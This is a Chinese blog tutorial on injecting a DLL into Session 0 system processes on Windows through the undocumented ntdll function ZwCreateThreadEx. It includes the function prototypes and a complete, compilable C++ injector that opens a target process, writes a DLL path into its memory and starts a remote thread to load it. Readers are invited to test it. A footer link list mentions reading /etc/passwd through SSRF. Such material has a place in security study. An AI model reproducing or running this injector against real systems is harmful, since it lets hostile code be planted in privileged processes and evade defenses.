3.3 DLL注入:突破会话0强力注入

2023-09-13 15:15:21

Session是Windows系统的一个安全特性,该特性引入了针对用户体验提高的安全机制,即拆分Session 0和用户会话,这种拆分Session 0Session 1的机制对于提高安全性非常有用,这是因为将桌面服务进程,驱动程序以及其他系统级服务取消了与用户会话的关联,从而限制了攻击者可用的攻击面。

由于DLL注入在Session 0中的注入机制不同于在用户会话中的注入机制,因此需要特别的考虑和处理。如果需要执行DLL注入,必须使用过度级别安全机制解决Session 0上下文问题,并且在设计安全方案时,必须考虑Session 0Session 1之间的区别。

在之前的远程线程注入章节中,我们通过使用CreateRemoteThread()这个函数来完成线程注入,此方式可以注入普通的进程,但却无法注入到系统进程中,因为系统进程是处在SESSION0高权限级别的会话层,由于CreateRemoteThread()底层会调用ZwCreateThreadEx()这个未公开的内核函数,所以当我们调用该函数的底层函数时则可实现突破Session0的注入机制。

由于该内核函数并未被导出,所以我们必须找到该函数的原型定义,并通过GetProcAddress获取到ntdll.dll模块下的ZwCreateThreadEx的函数地址,并通过ZwCreateThreadEx函数指针直接调用模块;

#ifdef _WIN64
  typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    ULONG CreateThreadFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    LPVOID pUnkown);
#else
  typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    BOOL CreateSuspended,
    DWORD dwStackSize,
    DWORD dw1,
    DWORD dw2,
    LPVOID pUnkown);
#endif

当拿到ZwCreateThreadEx函数指针时,则接下来就可以调用了,ZwCreateThreadEx 可以用于创建一个远程线程,即在目标进程中创建一个线程,并在这个线程中运行指定的代码。与CreateRemoteThread不同,ZwCreateThreadEx可以用于创建一个在指定进程的上下文之外的线程,即可以创建一个与指定进程无关的线程。

它的函数原型定义如下:

NTSYSAPI NTSTATUS NTAPI ZwCreateThreadEx(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE ProcessHandle,
    PVOID StartRoutine,
    PVOID Argument,
    ULONG CreateFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    PPS_ATTRIBUTE_LIST AttributeList);

其参数说明如下:

  • ThreadHandle 用于返回创建的线程句柄的指针。
  • DesiredAccess 用于指定线程句柄的访问权限。
  • ObjectAttributes 一个指向 OBJECT_ATTRIBUTES 结构的指针,指定线程对象的对象名和安全性属性。
  • ProcessHandle 目标进程的句柄,即在哪个进程中创建新线程。
  • StartRoutine 一个指向新线程的入口点的指针。
  • Argument 第二个参数传递给新线程的指针。
  • CreateFlags 指定创建线程的属性,如堆栈大小、创建标志、线程属性等。
  • ZeroBits 保留参数,应该传递0。
  • StackSize 线程堆栈大小。
  • MaximumStackSize 线程堆栈的最大大小。
  • AttributeList 指向结构 PS_ATTRIBUTE_LIST,该结构可以用于在线程创建时指定各种属性。

具备了上述基本条件那么注入代码的事项将变得非常容易,如下代码是这个注入程序的完整实现流程,读者可自行测试注入效果;

#include <windows.h>
#include <iostream>
#include <TlHelp32.h>
#include <tchar.h>

// 传入进程名称返回该进程PID
DWORD FindProcessID(LPCTSTR szProcessName)
{
    DWORD dwPID = 0xFFFFFFFF;
    HANDLE hSnapShot = INVALID_HANDLE_VALUE;
    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(PROCESSENTRY32);
    hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
    Process32First(hSnapShot, &pe);
    do
    {
        if (!_tcsicmp(szProcessName, (LPCTSTR)pe.szExeFile))
        {
            dwPID = pe.th32ProcessID;
            break;
        }
    } while (Process32Next(hSnapShot, &pe));
    CloseHandle(hSnapShot);
    return dwPID;
}

// 强力注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pDllName)
{
    HANDLE hProcess = NULL;
    SIZE_T dwSize = 0;
    LPVOID pDllAddr = NULL;
    FARPROC pFuncProcAddr = NULL;
    HANDLE hRemoteThread = NULL;
    DWORD dwStatus = 0;

    // 打开注入进程
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (NULL == hProcess)
    {
        return FALSE;
    }

    // 在注入进程中申请内存
    dwSize = sizeof(char) + lstrlen(pDllName);
    pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
    if (NULL == pDllAddr)
    {
        return FALSE;
    }

    // 向申请的内存中写入数据
    if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pDllName, dwSize, NULL))
    {
        return FALSE;
    }

    // 加载ntdll.dll模块
    HMODULE hNtdllDll = LoadLibrary("ntdll.dll");
    if (NULL == hNtdllDll)
    {
        return FALSE;
    }

    // 获取LoadLibraryA函数地址
    pFuncProcAddr = GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
    if (NULL == pFuncProcAddr)
    {
        return FALSE;
    }

    // 获取ZwCreateThread函数地址
#ifdef _WIN64
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,
        SIZE_T StackSize,
        SIZE_T MaximumStackSize,
        LPVOID pUnkown);
#else
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        BOOL CreateSuspended,
        DWORD dwStackSize,
        DWORD dw1,
        DWORD dw2,
        LPVOID pUnkown);
#endif
    
    typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
    if (NULL == ZwCreateThreadEx)
    {
        return FALSE;
    }
    // 调用函数执行强力注入
    dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess,
        (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
    if (NULL == hRemoteThread)
    {
        return FALSE;
    }

    // 关闭句柄
    CloseHandle(hProcess);
    FreeLibrary(hNtdllDll);
    return TRUE;
}

int main(int argc, char *argv[])
{
    DWORD pid = FindProcessID("lyshark.exe");
    std::cout << "进程PID: " << pid << std::endl;

    bool flag = ZwCreateThreadExInjectDll(pid, (char *)"d://hook.dll");
    std::cout << "注入状态: " << flag << std::endl;

    return 0;
}

本文作者: 王瑞
本文链接: https://www.lyshark.com/post/102cca99.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!

更多推荐

Unity Shader顶点数据疑问

1)UnityShader顶点数据疑问2)Unity2018发布在iOS16.3偶尔出现画面不动的问题3)安卓游戏启动后提示“应用程序异常”这是第352篇UWA技术知识分享的推送,精选了UWA社区的热门话题,涵盖了UWA问答、社区帖子等技术知识点,助力大家更全面地掌握和学习。RenderingQ:把下面这段Shader

C++ PrimerPlus 复习 第七章 函数——C++的编程模块(下)

第一章命令编译链接文件make文件第二章进入c++第三章处理数据第四章复合类型(上)第四章复合类型(下)第五章循环和关系表达式第六章分支语句和逻辑运算符第七章函数——C++的编程模块(上)第七章函数——C++的编程模块(下)本章重要点注意函数指针,const指针参数。其他的其实都简简单单第七章函数——C++的编程模块(

实施主品牌进化战略(一):确立主品牌进化架构

主品牌进化战略,即以主品牌为核心创造、巩固、转化竞争优势应对竞争环境变化,避免衰退,回归增长,让主品牌进化的方法论体系。主品牌进化战略制定要从4个方面出发:确立主品牌进化架构、更新和明确主品牌竞争方向、建立产品竞争和进化体系、升级顾客认知驱动力。这4个方面是长期增长企业的战略共性,能够帮助其他企业避免衰退,回归增长,让

怎么实现一个登录时需要输入验证码的功能

今天给项目换了一个登录页面,而这个登录页面设计了验证码,于是想着把这个验证码功能实现一下吧。这篇文章就如何实现登录时的验证码的验证功能结合代码进行详细地介绍,以及介绍功能实现的思路。目录页面效果实现思路生成验证码的控制器类前端页面代码localStorage.jslogin.htmllogin.js后端登录代码User

软件设计师考试学习2

数据结构与算法基础数组稀疏矩阵用代入法计算,A数据结构的定义非线性结构分为树和图,区别在于有没有环路顺序表与链表引入头节点可以使所有的节点处理方式一致如果没有空的头节点,头节点需要单独处理顺序存储与链式存储查找特殊情况:如果有顺序的话顺序存储更优(二分查找)队列与栈在循环队列里,为了使队空和队满条件不同,往往使队尾指针

强化学习从基础到进阶–案例与实践[11]:AlphaStar论文解读、监督学习、强化学习、模仿学习、多智能体学习、消融实验

【强化学习原理+项目专栏】必看系列:单智能体、多智能体算法原理+项目实战、相关技巧(调参、画图等、趣味项目实现、学术应用项目实现专栏详细介绍:【强化学习原理+项目专栏】必看系列:单智能体、多智能体算法原理+项目实战、相关技巧(调参、画图等、趣味项目实现、学术应用项目实现对于深度强化学习这块规划为:基础单智能算法教学(g

SSRF漏洞(利用file协议读取本地文件)

简介当利用SSRF漏洞时,攻击者可以通过构造恶意请求来读取本地文件。其中一种方法是使用file协议来读取本地文件。例如,file:///etc/passwd是一个常见的示例,它用于读取Linux系统上的passwd文件。passwd文件是Linux系统中用于存储用户账户信息的文件,其中包含了所有用户的用户名、密码和相关

系统架构设计师-数据库系统(3)

目录一、数据控制1、安全性2、完整性3、并发控制4、故障恢复二、数据库设计概述1、数据库设计关注的问题2、数据库性能优化3、规范化与反规范化一、数据控制1、安全性2、完整性(1)实体完整性约束:规定基本关系的主属性不能取空值。(2)参照完整性约束:关系与关系间的引用,其他关系的主键或空值。(3)用户自定义完整性约束:应

知识图谱:知识表示发展史

​数据是众多行业最核心的资产,人工智能技术与数据的深度融合也成为各大行业机构的重点关注内容,在多种人工智能的技术中,知识图谱因其能够更好的表达业务场景的多样全貌,可以更好的服务于人工智能时代的分析与决策场景,成为近年来的技术创新热点之一。知识的概念知识表示就是对知识的一种描述,或者说是对知识的一组约定,一种计算机可以接

论文阅读《ICDE2023:Relational Message Passing for Fully Inductive Knowledge Graph Completion》

论文链接工作简介在知识图谱补全(KGC)中,预测涉及新兴实体和/或关系的三元组,这是在学习KG嵌入时看不到的,已成为一个关键挑战。带有消息传递的子图推理是一个很有前途和流行的解决方案。最近的一些方法已经取得了很好的性能,但它们(1)通常只能预测单独涉及未见过的实体的三元组,无法解决更现实的同时具有未见过的实体和未见过的

【JavaEE】多线程(四)

多线程(四)在开始讲之前,我们先来回顾回顾前三篇所讲过的内容~线程的概念并发编程,多进程,比较重,频繁创建销毁,开销大Thread的使用创建线程继承Thread实现Runnable继承Thread(匿名内部类)实现Runnable(匿名内部类)使用lambda'Thread中的重要性启动线程start终止线程isInt

热文推荐